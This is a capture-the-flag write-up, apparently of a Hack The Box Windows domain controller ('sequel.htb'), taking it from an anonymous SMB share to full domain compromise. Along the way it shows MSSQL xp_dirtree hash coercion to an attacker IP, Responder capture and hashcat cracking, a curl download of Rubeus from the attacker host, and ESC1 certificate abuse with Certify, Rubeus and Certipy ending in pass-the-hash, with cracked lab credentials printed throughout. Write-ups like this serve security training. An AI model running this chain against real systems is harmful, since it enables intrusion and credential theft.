The attack started with anonymous access to an SMB share containing a PDF file, which exposed credentials for an MSSQL instance. Although access was limited, it was enough to trigger outbound authentication and capture the NetNTLMv2 hash using Responder. After cracking the hash, I gained valid credentials and accessed the system via WinRM.

During post-exploitation, I discovered additional credentials in authentication logs, which allowed further privilege escalation. Enumeration also revealed a misconfigured Active Directory Certificate Services template vulnerable to ESC1. By abusing this using Certify/Certipy, I was able to impersonate the Administrator and achieve full domain compromise.

Recon Nmap Running nmap to see all the open ports and saving them into a file in all formats (-oA)

└─$ nmap -p- 10.129.228.253 - min-rate 10000 -oA nmap/ports
# Nmap 7.99 scan initiated Fri May  1 10:29:51 2026 as: /usr/lib/nmap/nmap --privileged -p- --min-rate 10000 -oA nmap/ports 10.129.228.253
Nmap scan report for sequel.htb (10.129.228.253)
Host is up (0.34s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49689/tcp open  unknown
49690/tcp open  unknown
49702/tcp open  unknown
49713/tcp open  unknown
49741/tcp open  unknown

Grep the open ports

└─$ less nmap/ports.nmap | grep ^[0–9] | awk -F/ '{print $1}' | paste -sd,

Running nmap with default scripts and version flags on the open ports.

└─$ nmap -sCV -oA nmap/targeted 10.129.228.253 -p53,88,135,139,389,445,464,593,636,1433,3269,5985,9389,49667,49689,49690,49702,49713,49741
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-01 10:37 +0530
Nmap scan report for sequel.htb (10.129.228.253)
Host is up (0.20s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-01 13:07:52Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-01T13:09:27+00:00; +7h59m54s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.129.228.253:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-05-01T10:51:18
|_Not valid after:  2056-05-01T10:51:18
| ms-sql-ntlm-info: 
|   10.129.228.253:1433: 
|     Target_Name: sequel
|     NetBIOS_Domain_Name: sequel
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: dc.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2026-05-01T13:09:24+00:00; +7h59m59s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-01T13:09:27+00:00; +7h59m54s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
49713/tcp open  msrpc         Microsoft Windows RPC
49741/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h59m56s, deviation: 2s, median: 7h59m57s
| smb2-time: 
|   date: 2026-05-01T13:08:46
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.14 seconds

It looks like the machine is a domain controller based on the ports like smb(445), Netbios(135/139), LDAP(389,636, etc), kerberos(88). The nmap scripts shows the domain name. We have alternative name as well.

Adding these to /etc/hosts file

└─$ sudo vim /etc/hosts
10.129.228.253 sequel.htb dc.sequel.htb sequel

The clock skew is 8 hours. We need to run ntpdate to sync the time

└─$ sudo ntpdate 10.129.228.253

SMB — 445 Enumerating shares using nxc. No shares found

└─$ nxc smb 10.129.228.253 -u 'RandomUser' -p '' --shares       
SMB         10.129.228.253  445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.253  445    DC               [+] sequel.htb\RandomUser: (Guest)
[18:06:08] ERROR    NetBIOSTimeout on target 10.129.228.253: The NETBIOS connection with the remote host timed out.

Smbclient with null(-N) authentication. We have one non default share — Public

└─$ smbclient -L \\\\10.129.228.253 -N                                    

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Public          Disk      
        SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

Let's check if we are able to login into it. We can and we have one file let's download it

└─$ smbclient \\\\10.129.228.253\\Public -N
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Nov 19 17:21:25 2022
  ..                                  D        0  Sat Nov 19 17:21:25 2022
  SQL Server Procedures.pdf           A    49551  Fri Nov 18 19:09:43 2022

                5184255 blocks of size 4096. 1466568 blocks available
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (15.0 KiloBytes/sec) (average 15.0 KiloBytes/sec)

The file contains potential usernames and SQL cred

None

Can we authenticate over winrm? We cannot.

└─$ nxc winrm 10.129.228.253 -u PublicUser -p 'GuestUserCantWrite1' 
WINRM       10.129.228.253  5985   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb) 
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.228.253  5985   DC               [-] sequel.htb\PublicUser:GuestUserCantWrite1

Trying if we can authenticate over mssql. Login failed

└─$ nxc mssql 10.129.228.253 -u PublicUser -p 'GuestUserCantWrite1' 
MSSQL       10.129.228.253  1433   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb) (EncryptionReq:False)
MSSQL       10.129.228.253  1433   DC               [-] sequel.htb\PublicUser:GuestUserCantWrite1 (Login failed for user 'sequel\Guest'. Please try again with or without '--local-auth')

There are two types of authentications in mssql. Windows auth and local auth. Let's try localauth and it worked

└─$ nxc mssql 10.129.228.253 -u PublicUser -p 'GuestUserCantWrite1' --local-auth
MSSQL       10.129.228.253  1433   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb) (EncryptionReq:False)
MSSQL       10.129.228.253  1433   DC               [+] DC\PublicUser:GuestUserCantWrite1

Lets look for available modules

└─$ nxc mssql 10.129.228.253 -u PublicUser -p 'GuestUserCantWrite1' --local-auth -L
LOW PRIVILEGE MODULES
ENUMERATION
[*] enum_impersonate          Enumerate users with impersonation privileges
[*] enum_links                Enumerate linked SQL Servers and their login configurations.
[*] enum_logins               Enumerate SQL Server logins (SQL, Domain, Local users)
PRIVILEGE_ESCALATION
[*] enable_cmdshell           Enable or disable xp_cmdshell in MSSQL Server
[*] exec_on_link              Execute commands on a SQL Server linked server
[*] link_enable_cmdshell      Enable or disable xp_cmdshell on a linked MSSQL server
[*] link_xpcmd                Run xp_cmdshell commands on a linked SQL server
[*] mssql_coerce              Execute SQL commands To interact with a specified LISTENER for coercion/exfiltration
[*] mssql_priv                Enumerate and exploit MSSQL privileges


HIGH PRIVILEGE MODULES (requires admin privs)
ENUMERATION
[*] test_connection           Pings a host
CREDENTIAL_DUMPING
[*] nanodump                  Get lsass dump using nanodump and parse the result with pypykatz
PRIVILEGE_ESCALATION
[*] empire_exec               Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
[*] met_inject                Downloads the Meterpreter stager and injects it into memory
[*] web_delivery              Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module

Trying mssql_priv. We did not find any privileges. Maybe it failed.

└─$ nxc mssql 10.129.228.253 -u PublicUser -p 'GuestUserCantWrite1' --local-auth -M mssql_priv
MSSQL       10.129.228.253  1433   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb) (EncryptionReq:False)
MSSQL       10.129.228.253  1433   DC               [+] DC\PublicUser:GuestUserCantWrite1

Lets try mssql. We are logged in.

└─$ impacket-mssqlclient PublicUser:'GuestUserCantWrite1'@10.129.228.253

Enumerating the databases. There are four databases and all are default https://dataedo.com/kb/databases/sql-server/default-databases-schemas

SQL (PublicUser  guest@master)> select name from master..sysdatabases;
name     
------   
master   
tempdb   
model    
msdb

Foothold Nothing interesting here. What we could attempt, however, is to force the SQL service to authenticate to our machine and capture the hash. If the SQL service is running as a user account, there is a high chance that the captured hash will be crackable.

Setting up the responder

└─$ sudo responder -I tun0

We instructed SQL Server to enumerate a UNC(Universal Naming Convention) path hosted on our machine. Whenever we are using xp_dirtree, best practice is to use share\file, sometimes when only file name is used, it errors out.

SQL (PublicUser  guest@master)> xp_dirtree \\10.10.14.19\fake\share
subdirectory   depth   file   
------------   -----   ----

When we use xp_dirtree, it's going to connect with me and we can get the sql_svc credentials. We got the hash and save it to a file named sql_svc.hash Let's crack it using hashcat. It's a NetNTLMv2 hash.

└─$ hashcat -m 5600 sql_svc.hash /usr/share/wordlists/rockyou.txt --force

The hash got cracked.

SQL_SVC::sequel:d31d81912cdc005f:94a5ca4c31d2dd9230ac775453ff12af:010100000000000080d891daf4d5dc01a646e9786c7221e80000000002000800490037004f00540001001e00570049004e002
d0034004e00490036003800450033003900440054004a0004003400570049004e002d0034004e00490036003800450033003900440054004a002e00490037004f0054002e004c004f00430041004c0003001400
490037004f0054002e004c004f00430041004c0005001400490037004f0054002e004c004f00430041004c000700080080d891daf4d5dc010600040002000000080030003000000000000000000000000030000
0d9fe6293a72df5db2099284580c9fffda041edb145b2a5ffe676a997ade28b440a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e
00310039000000000000000000:REGGIE1234ronnie

Let's test the credentials using mssql auth in nxc and it's working

└─$ nxc mssql sequel.htb -u sql_svc -p REGGIE1234ronnie
MSSQL       10.129.28.58    1433   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb) (EncryptionReq:False)
MSSQL       10.129.28.58    1433   DC               [+] sequel.htb\sql_svc:REGGIE1234ronnie

Can we run a command using nxc. It's not working. We do not see any request.

└─$ nxc mssql sequel.htb -u sql_svc -p REGGIE1234ronnie -x "ping 10.10.14.19"
MSSQL       10.129.28.58    1433   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb) (EncryptionReq:False)
MSSQL       10.129.28.58    1433   DC               [+] sequel.htb\sql_svc:REGGIE1234ronnie

└─$ sudo tcpdump -i tun0 icmp -n

Let's test the credential if we can winrm. It says pwned!

└─$ nxc winrm sequel.htb -u sql_svc -p REGGIE1234ronnie
WINRM       10.129.28.58    5985   DC               [+] sequel.htb\sql_svc:REGGIE1234ronnie (Pwn3d!)

Let's get a shell using evil-winrm

└─$ evil-winrm -i sequel.htb -u sql_svc -p REGGIE1234ronnie

This box has certificate authority. let's go to program data and drop certify.exe. It's showing no vulnerable certificates because sql_svc user do not have enrollment rights.

*Evil-WinRM* PS C:\Programdata> upload Certify.exe
*Evil-WinRM* PS C:\programdata> .\Certify.exe enum-templates --filter-vulnerable
[+] No certificates templates found with the current filter parameters.

We had three possible next steps:

  1. We could either keep going to sql rabbit hole because we have the password for the account that is running Microsoft sql because we were able to steal the hashes that enables us to do the silver ticket attack.
  2. Enumerate the data and files accessible on the server.
  3. Run WinPEAS for broader privilege escalation checks.

I decided to follow the second approach and focus on identifying what data was accessible on the machine.

During enumeration, I noticed a SQLServer directory on the C: drive. Since we were operating in the context of the SQL service account, investigating that directory was a logical next step and potentially a valuable source of sensitive information.

*Evil-WinRM* PS C:\> dir


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         2/1/2023   8:15 PM                PerfLogs
d-r---         2/6/2023  12:08 PM                Program Files
d-----       11/19/2022   3:51 AM                Program Files (x86)
d-----       11/19/2022   3:51 AM                Public
d-----         2/1/2023   1:02 PM                SQLServer
d-r---         2/1/2023   1:55 PM                Users
d-----         2/6/2023   7:21 AM                Windows

After identifying the SQLServer directory, I inspected the Logs folder and found an interesting backup log file named ERRORLOG.BAK.

*Evil-WinRM* PS C:\SQLServer\Logs> dir                                                                                                                                 
                                                                                                                                                                       
                                                                                                                                                                       
    Directory: C:\SQLServer\Logs                                                                                                                                       
                                                                                                                                                                       
                                                                                                                                                                       
Mode                LastWriteTime         Length Name                                                                                                                  
----                -------------         ------ ----                                                                                                                  
-a----         2/7/2023   8:06 AM          27608 ERRORLOG.BAK

Reading the contents of the log revealed several failed login attempts:

*Evil-WinRM* PS C:\SQLServer\Logs> type ERRORLOG.BAK                                                                                                                   
2022-11-18 13:43:05.96 Server      Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)                                           
        Sep 24 2019 13:48:23                                                                                                                                           
        Copyright (C) 2019 Microsoft Corporation                                                                                                                       
        Express Edition (64-bit) on Windows Server 2019 Standard Evaluation 10.0 <X64> (Build 17763: ) (Hypervisor)   
2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon       Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]

It appeared that a user accidentally entered their password in the username field. This effectively disclosed a valid credential pair:

  • Username: Ryan.Cooper
  • Password: NuclearMosquito3

I verified the credentials using NetExec:

└─$ nxc winrm 10.129.28.58 -u 'Ryan.Cooper' -p 'NuclearMosquito3' 
WINRM       10.129.28.58    5985   DC               [+] sequel.htb\Ryan.Cooper:NuclearMosquito3 (Pwn3d!)

If WinRM access had failed, an alternative approach would have been to use RunasCs to authenticate as Ryan.Cooper. If it didn't work we could try runas(https://github.com/antonioCoco/RunasCs) to authenticate as ryan.cooper

Let's get a shell using evil-winrm

└─$ evil-winrm -i sequel.htb -u ryan.cooper -p NuclearMosquito3

let's go to back to programdata and drop certify.exe.

*Evil-WinRM* PS C:\Programdata> upload Certify.exe

Running certify to find a vulnerable template.

*Evil-WinRM* PS C:\programdata> .\Certify.exe enum-templates --filter-vulnerable                                                                         
[*] Certificate templates found using the current filter parameters:

    Template Name                         : UserAuthentication
    Enabled                               : True
    Publishing CAs                        : dc.sequel.htb\sequel-DC-CA
    Schema Version                        : 2
    Validity Period                       : 10 years
    Renewal Period                        : 6 weeks
    Certificate Name Flag                 : ENROLLEE_SUPPLIES_SUBJECT
    Enrollment Flag                       : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
    Manager Approval Required             : False
    Authorized Signatures Required        : 0
    Extended Key Usage                    : Client Authentication, Encrypting File System, Secure Email
    Certificate Application Policies      : Client Authentication, Encrypting File System, Secure Email
    Vulnerabilities
      ESC1                                : The template has a client authentication EKU and allows enrollees to supply subject.
    Permissions
      Enrollment Permissions
        Enrollment Rights           : sequel\Domain Admins               S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Domain Users                S-1-5-21-4078382237-1492182817-2568127209-513
                                      sequel\Enterprise Admins           S-1-5-21-4078382237-1492182817-2568127209-519
      Object Control Permissions
        Owner                       : sequel\Administrator               S-1-5-21-4078382237-1492182817-2568127209-500
        Write Owner                 : sequel\Administrator               S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins               S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins           S-1-5-21-4078382237-1492182817-2568127209-519
        Write Dacl                  : sequel\Administrator               S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins               S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins           S-1-5-21-4078382237-1492182817-2568127209-519
        Write Property              : sequel\Administrator               S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins               S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins           S-1-5-21-4078382237-1492182817-2568127209-519

The enumeration identified a vulnerable template named UserAuthentication vulnerable to ESC1. The template allowed:

  • Client Authentication
  • User-supplied subject names
  • Enrollment by Domain Users

Because Ryan.Cooper belonged to Domain Users, it was possible to request a certificate on behalf of another user, including Administrator.

I requested a certificate for the Administrator account:

*Evil-WinRM* PS C:\programdata> .\Certify.exe request --ca dc.sequel.htb\sequel-DC-CA --template UserAuthentication --upn Administrator
[*] Certificate (PFX)       :                                                      
                                                                                   
MIACAQMwgAYJKoZI...zPGE56mLrWvTfcBbkEHhTYFbMF8GCSqGSIb3DQEJFDFSHlAARABDAD0AaAB0AGIALABEAEMAPQBzAGUAcQB1AGUAbAAsAEMATgA9AFUAcwBlAHIAcwAsAEMATgA9AFIAeQBhAG4ALgBDAG8AbwBwAGUAcgAAAAAAAAAAAAAAAAAAAAA=

The command returned a Base64-encoded PFX certificate. After copying the output locally, I converted it into a .pfx file:

└─$ base64 -d ryan.b64 > ryan.pfx

Next, I downloaded Rubeus onto the target machine and uploaded the generated certificate:

*Evil-WinRM* PS C:\programdata> curl 10.10.14.19/Rubeus.exe -o Rubeus.exe
*Evil-WinRM* PS C:\programdata> upload ryan.pfx

Using the certificate, I requested a TGT for the Administrator account:

*Evil-WinRM* PS C:\programdata> .\Rubeus.exe asktgt /user:Administrator /certificate:ryan.pfx /nowrap

Instead of using the Kerberos ticket directly, I leveraged the /getcredentials option to retrieve the NTLM hash for the Administrator account:

*Evil-WinRM* PS C:\programdata> .\Rubeus.exe asktgt /user:Administrator /certificate:ryan.pfx /getcredentials /show /nowrap

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : A52F78E4C751E5F5E17E1E9F3E58F4EE

Let's test the credential using nxc

└─$ nxc winrm 10.129.28.58 -u administrator -H A52F78E4C751E5F5E17E1E9F3E58F4EE
WINRM       10.129.28.58    5985   DC               [+] sequel.htb\administrator:A52F78E4C751E5F5E17E1E9F3E58F4EE (Pwn3d!)

Logging as Administrator using evil-winrm

└─$ evil-winrm -i sequel.htb -u Administrator -H A52F78E4C751E5F5E17E1E9F3E58F4EE

After gaining administrative access, I navigated to the desktop and retrieved the root flag:

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\users\Administrator\Desktop
*Evil-WinRM* PS C:\users\Administrator\Desktop> dir


    Directory: C:\users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         5/3/2026   1:19 PM             34 root.txt

Beyond Root

We could also do the same attack chain using the certipy tool. First, I used Certipy to enumerate vulnerable certificate templates accessible to the Ryan.Cooper account:

└─$ certipy-ad find -u ryan.cooper -p NuclearMosquito3 -target sequel.htb -text -stdout -vulnerable

Requesting a certificate

└─$ certipy-ad req -u ryan.cooper -p NuclearMosquito3 -target sequel.htb -upn administrator@sequel.htb -ca sequel-dc-ca -template UserAuthentication
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Before requesting Kerberos tickets, I synchronized my machine time with the domain controller to avoid Kerberos clock skew issues:

└─$ sudo ntpdate 10.129.28.58

Next, I authenticated using the generated certificate and requested a TGT directly through Certipy:

└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.28.58

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@sequel.htb'
[*] Using principal: 'administrator@sequel.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb':
aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

With the obtained NTLM hash, we can winrm to the machine

└─$ evil-winrm -i sequel.htb -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
sequel\administrator